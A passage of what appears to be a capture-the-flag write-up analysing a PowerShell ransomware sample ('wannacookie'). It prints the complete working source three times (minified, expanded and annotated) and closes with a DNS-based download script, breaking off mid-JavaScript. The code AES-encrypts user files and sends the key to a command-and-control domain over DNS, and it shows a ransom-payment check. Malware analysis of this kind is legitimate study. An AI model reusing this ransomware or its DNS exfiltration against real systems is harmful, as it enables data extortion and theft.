$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1))
{
$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
};
$(H2A $h | Out-string)
We obtain this source :
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);if ($enc_it) {$AESP.GenerateIV();$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor()} else {[Byte[]]$LenIV = New-Object Byte[] 4;$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV, 0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);[Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor()};$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);[Int]$Count = 0;[Int]$BlockSzBts = $AESP.BlockSize / 8;[Byte[]]$Data = New-Object Byte[] $BlockSzBts;Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0, $Count)} While ($Count -gt 0);$CryptoS.FlushFinalBlock();$CryptoS.Close();$FileSR.Close();$FileSW.Close();Clear-variable -Name "key";Remove-Item $File}};function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))};return $c -replace ' '};function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp += $a}};return $tmp};function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt $b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr = $output.ToArray();return $byteArr}};function sh1([String] $String) {$SB = New-Object System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);return $(B2H $encKey)};function e_n_d {param($key, $allfiles, $make_cookie );$tcount = 12;for ( $file=0; $file -lt $allfiles.length; $file++ ) {while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });if ($running.Count -le $tcount) {Start-Job -ScriptBlock {param($key, $File, $true_false);try{e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;break} else {Start-Sleep -m 200;continue}}}};function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};function wanc {$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return};if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return};$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00});$h_k = $(B2H $b_k);$k_h = $(sh1 $h_k);$p_k_e_k = (p_k_e $b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $b_k $f_c $true;Clear-variable -Name "h_k";Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';$html_c = @{'GET /' = $(g_o_dns (A2H "source.min.html"));'GET /close' = 'Bye!
'};Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;start-process "$url" -WindowStyle Maximized;Start-sleep 2;[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);$list.Start();try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");if ($k_h -eq $(sh1 $akey)) {$akey = $(H2B $akey);[array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});e_n_d $akey $f_c $false;$html = "Files have been decrypted!";$close = $true} else {$html = "Invalid Key!"}} elseif ($recvd -eq 'GET /close') {$close = $true;$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /cookie_is_paid') {$c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}} else {$Resp.statuscode = 404;$html = '<h1>404 Not Found</h1>'};$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0, $buffer.length);$Resp.Close();if ($close) {$list.Stop();return}}} finally {$list.Stop()}};wanc;
Wait... do you notice that $f
is an hexadecimal representation of the string wannacookie.min.ps1
?
What if we ask for wannacookie.ps1
instead ?
After running the script with $f="77616E6E61636F6F6B69652E707331"
...
...we get a non minified version of the script :
$functions = {
function Enc_Dec-File($key, $File, $enc_it) {
[byte[]]$key = $key
$Suffix = "`.wannacookie"
[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
[System.Int32]$KeySize = $key.Length*8
$AESP = New-Object 'System.Security.Cryptography.AesManaged'
$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AESP.BlockSize = 128
$AESP.KeySize = $KeySize
$AESP.Key = $key
$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)}
$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
if ($enc_it) {
$AESP.GenerateIV()
$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
$FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
$Transform = $AESP.CreateEncryptor()
} else {
[Byte[]]$LenIV = New-Object Byte[] 4
$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
$FileSR.Read($LenIV, 0, 3) | Out-Null
[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0)
[Byte[]]$IV = New-Object Byte[] $LIV
$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
$FileSR.Read($IV, 0, $LIV) | Out-Null
$AESP.IV = $IV
$Transform = $AESP.CreateDecryptor()
}
$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
[Int]$Count = 0
[Int]$BlockSzBts = $AESP.BlockSize / 8
[Byte[]]$Data = New-Object Byte[] $BlockSzBts
Do
{
$Count = $FileSR.Read($Data, 0, $BlockSzBts)
$CryptoS.Write($Data, 0, $Count)
}
While ($Count -gt 0)
$CryptoS.FlushFinalBlock()
$CryptoS.Close()
$FileSR.Close()
$FileSW.Close()
Clear-variable -Name "key"
Remove-Item $File
}
}
function H2B {
param($HX)
$HX = $HX -split '(..)' | ? { $_ }
ForEach ($value in $HX){
[Convert]::ToInt32($value,16)
}
}
function A2H(){
Param($a)
$c = ''
$b = $a.ToCharArray();
Foreach ($element in $b) {
$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
}
return $c -replace ' '
}
function H2A() {
Param($a)
$outa
$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_}
return $outa
}
function B2H {
param($DEC)
$tmp = ''
ForEach ($value in $DEC){
$a = "{0:x}" -f [Int]$value
if ($a.length -eq 1){
$tmp += '0' + $a
} else {
$tmp += $a
}
}
return $tmp
}
function ti_rox {
param($b1, $b2)
$b1 = $(H2B $b1)
$b2 = $(H2B $b2)
$cont = New-Object Byte[] $b1.count
if ($b1.count -eq $b2.count) {
for($i=0; $i -lt $b1.count ; $i++)
{
$cont[$i] = $b1[$i] -bxor $b2[$i]
}
}
return $cont
}
function B2G {
param([byte[]]$Data)
Process {
$out = [System.IO.MemoryStream]::new()
$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress)
$gStream.Write($Data, 0, $Data.Length)
$gStream.Close()
return $out.ToArray()
}
}
function G2B {
param([byte[]]$Data)
Process {
$SrcData = New-Object System.IO.MemoryStream( , $Data )
$output = New-Object System.IO.MemoryStream
$gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress)
$gStream.CopyTo( $output )
$gStream.Close()
$SrcData.Close()
[byte[]] $byteArr = $output.ToArray()
return $byteArr
}
}
function Sha1([String] $String) {
$SB = New-Object System.Text.StringBuilder
[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
[Void]$SB.Append($_.ToString("x2"))
}
$SB.ToString()
}
function Pub_Key_Enc($key_bytes, [byte[]]$pub_bytes){
$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2
$cert.Import($pub_bytes)
$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true)
return $(B2H $encKey)
}
function enc_dec {
param($key, $allfiles, $make_cookie )
$tcount = 12
for ( $file=0; $file -lt $allfiles.length; $file++ ) {
while ($true) {
$running = @(Get-Job | Where-Object { $_.State -eq 'Running' })
if ($running.Count -le $tcount) {
Start-Job -ScriptBlock {
param($key, $File, $true_false)
try{
Enc_Dec-File $key $File $true_false
} catch {
$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
}
} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
break
} else {
Start-Sleep -m 200
continue
}
}
}
}
function get_over_dns($f) {
$h = ''
foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
}
return (H2A $h)
}
function split_to_chunks($astring, $size=32) {
$new_arr = @()
$chunk_index=0
foreach($i in 1..$($astring.length / $size)) {
$new_arr += @($astring.substring($chunk_index,$size))
$chunk_index += $size
}
return $new_arr
}
function send_key($encrypted_key) {
$chunks = (split_to_chunks $encrypted_key )
foreach ($j in $chunks) {
if ($chunks.IndexOf($j) -eq 0) {
$new_cookie = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
} else {
$(Resolve-DnsName -Server erohetfanu.com -Name "$new_cookie.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
}
}
return $new_cookie
}
function wannacookie {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
$Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00})
$Hex_key = $(B2H $Byte_key)
$Key_Hash = $(Sha1 $Hex_key)
$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
$cookie_id = (send_key $Pub_key_encrypted_Key)
$date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
[array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $Byte_key $future_cookies $true
Clear-variable -Name "Hex_key"
Clear-variable -Name "Byte_key"
$lurl = 'http://127.0.0.1:8080/'
$htmlcontents = @{
'GET /' = $(get_over_dns (A2H "source.min.html"))
'GET /close' = 'Bye!
'
}
Start-Job -ScriptBlock{
param($url)
Start-Sleep 10
Add-type -AssemblyName System.Windows.Forms
start-process "$url" -WindowStyle Maximized
Start-sleep 2
[System.Windows.Forms.SendKeys]::SendWait("{F11}")
} -Arg $lurl
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add($lurl)
$listener.Start()
try {
$close = $false
while ($listener.IsListening) {
$context = $listener.GetContext()
$Req = $context.Request
$Resp = $context.Response
$Resp.Headers.Add("Access-Control-Allow-Origin","*")
$received = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath
if ($received -eq 'GET /') {
$html = $htmlcontents[$received]
} elseif ($received -eq 'GET /decrypt') {
$akey = $Req.QueryString.Item("key")
if ($Key_Hash -eq $(Sha1 $akey)) {
$akey = $(H2B $akey)
[array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $akey $allcookies $false
$html = "Files have been decrypted!"
$close = $true
} else {
$html = "Invalid Key!"
}
} elseif ($received -eq 'GET /close') {
$close = $true
$html = $htmlcontents[$received]
} elseif ($received -eq 'GET /cookie_is_paid') {
$cookie_and_key = $(Resolve-DnsName -Server erohetfanu.com -Name ("$cookie_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings
if ( $cookie_and_key.length -eq 32 ) {
$html = $cookie_and_key
} else {
$html = "UNPAID|$cookie_id|$date_time"
}
} else {
$Resp.statuscode = 404
$html = '<h1>404 Not Found</h1>'
}
$buffer = [Text.Encoding]::UTF8.GetBytes($html)
$Resp.ContentLength64 = $buffer.length
$Resp.OutputStream.Write($buffer, 0, $buffer.length)
$Resp.Close()
if ($close) {
$listener.Stop()
return
}
}
} finally {
$listener.Stop()
}
}
wannacookie
Now we can study the ransomware code ! We can note :
- a
Enc_Dec-File($key, $File, $enc_it)
function which can encrypt or decrypt a file with the key provided. The algorithm used is AES/CBC and the Initialization Vector (IV) is saved at the begining of the encrypted file which is rename with a.wanacookie
extension ; - there are a number of conversion functions without a great interest and a xoring function ;
- there is a log file for exceptions :
\Desktop\ps_log.txt
; - there is a
get_over_dns
function that makes the equivalent of anHTTP GET
request to the C&C through DNS requests. May be we can grab some files with it ; - the encryption key is sent to the C&C via DNS request to
[key].keyforbotid.erohetfanu.com
via thesend_key($encrypted_key)
function ; - the public key of the C&C is used to cipher it ;
- there is a test for a killswitch at the begining which use DNS requests for
killswitch.erohetfanu.com
; - files
server.crt
(7365727665722E637274
) andsource.min.html
are requested from the C&C.source.min.html
is the html page displayed once the computer files are encrypted ; - once files are encrypted, keys are erased from memory :
Clear-variable -Name "Hex_key" Clear-variable -Name "Byte_key"
but a sha1 hash of the key is conserved in order to control the key validity when the user submits it ; - we can request the name
[cookie_value].ransomispaid.erohetfanu.com
to know if the ransom for this cookie has been paid ;
But we don't have the C&C code and we can't tell the C&C that a ransom has been paid.
But, if we get a key, we can decipher all the files (of the corresponding computer).
Here is the source with some comments added to explain what we think each function does and how the malware works (see the last function comments for the big picture) :
$functions = {
# This function crypt or decrypt $File with the $key received.
# When crypted, a ".wanacookie" extension is added to the file and the IV is added in the file before its encrypted datas
# When decrypted, the ".wanacookie" extension is removed.
function Enc_Dec-File($key, $File, $enc_it) {
[byte[]]$key = $key
$Suffix = "`.wannacookie"
[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
[System.Int32]$KeySize = $key.Length*8
$AESP = New-Object 'System.Security.Cryptography.AesManaged'
$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AESP.BlockSize = 128
$AESP.KeySize = $KeySize
$AESP.Key = $key
$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)}
$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
if ($enc_it) {
$AESP.GenerateIV()
$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
$FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
$Transform = $AESP.CreateEncryptor()
} else {
[Byte[]]$LenIV = New-Object Byte[] 4
$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
$FileSR.Read($LenIV, 0, 3) | Out-Null
[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0)
[Byte[]]$IV = New-Object Byte[] $LIV
$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
$FileSR.Read($IV, 0, $LIV) | Out-Null
$AESP.IV = $IV
$Transform = $AESP.CreateDecryptor()
}
$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
[Int]$Count = 0
[Int]$BlockSzBts = $AESP.BlockSize / 8
[Byte[]]$Data = New-Object Byte[] $BlockSzBts
Do
{
$Count = $FileSR.Read($Data, 0, $BlockSzBts)
$CryptoS.Write($Data, 0, $Count)
}
While ($Count -gt 0)
$CryptoS.FlushFinalBlock()
$CryptoS.Close()
$FileSR.Close()
$FileSW.Close()
Clear-variable -Name "key"
Remove-Item $File
}
}
+ function H2B {
}
+ function A2H(){
}
+ function H2A() {
}
+ function B2H {
}
# This function "xor" two strings
+function ti_rox {
}
# This function compress a stream of datas
+function B2G {
}
# This function deflates a stream of datas
+function G2B {
}
# This function computes the sha1 hash of a string
+function Sha1([String] $String) {
}
# This function crypts a key with a public key
+function Pub_Key_Enc($key_bytes, [byte[]]$pub_bytes){
}
# This function create and run jobs which call Enc_Dec-File function for each file to crypt or decrypt
function enc_dec {
param($key, $allfiles, $make_cookie )
$tcount = 12
for ( $file=0; $file -lt $allfiles.length; $file++ ) {
while ($true) {
$running = @(Get-Job | Where-Object { $_.State -eq 'Running' })
if ($running.Count -le $tcount) {
Start-Job -ScriptBlock {
param($key, $File, $true_false)
try{
Enc_Dec-File $key $File $true_false
} catch {
$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
}
} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
break
} else {
Start-Sleep -m 200
continue
}
}
}
}
# This function get some datas or a file from the C&C through DNS requests
# First resolution is [file_name_requested_in_hexascii].erohetfanu.com
# The C&C answers with the number of parts to get
# Then each part is downloaded with [part_number].[file_name_requested_in_hexascii].erohetfanu.com requests
function get_over_dns($f) {
$h = ''
foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
}
return (H2A $h)
}
# Utility function to split the encryption key in order to send it to the C&C
function split_to_chunks($astring, $size=32) {
$new_arr = @()
$chunk_index=0
foreach($i in 1..$($astring.length / $size)) {
$new_arr += @($astring.substring($chunk_index,$size))
$chunk_index += $size
}
return $new_arr
}
# This function is used to send the encryption key to the C&C via [key_chunk].keyforbotid.erohetfanu.com DNS requests
# This function returs the cookie delivered by the C&C
function send_key($encrypted_key) {
$chunks = (split_to_chunks $encrypted_key )
foreach ($j in $chunks) {
if ($chunks.IndexOf($j) -eq 0) {
$new_cookie = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
} else {
$(Resolve-DnsName -Server erohetfanu.com -Name "$new_cookie.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
}
}
return $new_cookie
}
function wannacookie {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
# Call to the C&C for the kill-switch funtion
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
# If we had already made our job or we are not on the targetted KRINGLECASTLE domain, then return
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
# Get the public key of the C&C. Will be used to crypt the encryption key before sending it to the C C&C.
$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )
# Create an encryption key
$Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00})
# Convert the encryption key in hexascii
$Hex_key = $(B2H $Byte_key)
# Compute a sha1 hash of the key which will be used later to verify the key once the ransom paid and when the user will enter the key in the form
$Key_Hash = $(Sha1 $Hex_key)
# Cipher the encryption key
$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
# Send the ciphered encryption key to the C&C (he will be able to decipher it with his private key)
$cookie_id = (send_key $Pub_key_encrypted_Key)
# Encrypt all .elfdb files in userprofile\Documents, Videos, Pictures and Music folders
$date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
[array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $Byte_key $future_cookies $true
# Wipe the hxascii encryption key and the binary one from memory since the encryption key since the key is no longer useful
Clear-variable -Name "Hex_key"
Clear-variable -Name "Byte_key"
# Create a local web server on port 8080
# download the source.min.html from the C&C
# ---------------------------------------------
$lurl = 'http://127.0.0.1:8080/'
$htmlcontents = @{
'GET /' = $(get_over_dns (A2H "source.min.html"))
'GET /close' = 'Bye!
'
}
Start-Job -ScriptBlock{
param($url)
Start-Sleep 10
Add-type -AssemblyName System.Windows.Forms
start-process "$url" -WindowStyle Maximized
Start-sleep 2
[System.Windows.Forms.SendKeys]::SendWait("{F11}")
} -Arg $lurl
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add($lurl)
$listener.Start()
# local web server command loop
# -----------------------------
try {
$close = $false
while ($listener.IsListening) {
$context = $listener.GetContext()
$Req = $context.Request
$Resp = $context.Response
$Resp.Headers.Add("Access-Control-Allow-Origin","*")
$received = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath
# For a GET on "/",
# display the simple.min.html page
# --------------------------------------------------
if ($received -eq 'GET /') {
$html = $htmlcontents[$received]
# For a GET on "/decrypt",
# get the key fom "key" parameter,
# verify that the sha1 of the key is the same as the one computed before ciphering files
# if the key is the good one,
# decrypt all encrypted files
# -------------------------------------------------------
} elseif ($received -eq 'GET /decrypt') {
$akey = $Req.QueryString.Item("key")
if ($Key_Hash -eq $(Sha1 $akey)) {
$akey = $(H2B $akey)
[array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $akey $allcookies $false
$html = "Files have been decrypted!"
$close = $true
} else {
$html = "Invalid Key!"
}
# For a GET on "/close",
# say "Bye!" and quit via $close = $true
# ------------------------------------------
} elseif ($received -eq 'GET /close') {
$close = $true
$html = $htmlcontents[$received]
# For a GET on "/cookie_is_paid",
# ask the C&C for the paid ransom through [cookie].ransomispaid.erohetfanu.com DNS request
# return datas to be displayed on the screen
# ----------------------------------------------------------------------------------------------------------------------------
} elseif ($received -eq 'GET /cookie_is_paid') {
$cookie_and_key = $(Resolve-DnsName -Server erohetfanu.com -Name ("$cookie_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings
if ( $cookie_and_key.length -eq 32 ) {
$html = $cookie_and_key
} else {
$html = "UNPAID|$cookie_id|$date_time"
}
# For all other requests, return 404
# ----------------------------------
} else {
$Resp.statuscode = 404
$html = '<h1>404 Not Found</h1>'
}
$buffer = [Text.Encoding]::UTF8.GetBytes($html)
$Resp.ContentLength64 = $buffer.length
$Resp.OutputStream.Write($buffer, 0, $buffer.length)
$Resp.Close()
if ($close) {
$listener.Stop()
return
}
}
} finally {
$listener.Stop()
}
}
wannacookie
In order to understand the whole picture, we have to download the source.min.html
file, which is displayed on the computer after the file has been encrypted.
We can download and save the file with this little script :
$f = "736F757263652E6D696E2E68746D6C" # source.min.html
$h=""
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1))
{
$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
};
$h | Out-File -FilePath source.min.html -Encoding ascii
Be patient since there are 6 755 parts to download the file !
You can download the source.min.html
file zipped with a infected
password there : source.min.zip.
And here is the displayed page (without running the malware) :
The only interesting part of the page is his javascript part :
<script>
const base64_cookie="data:image/png;base64,iVB[...datas cut...]CC";
$(".c_img").each(function(index)
{
$(this).attr("src",base64_cookie);
}
);
Date.prototype.addDays=function(days)
{
var date=new Date(this.valueOf());
date.setDate(date.getDate()+days);
return date;
};
function get_count_down(date_string)
{
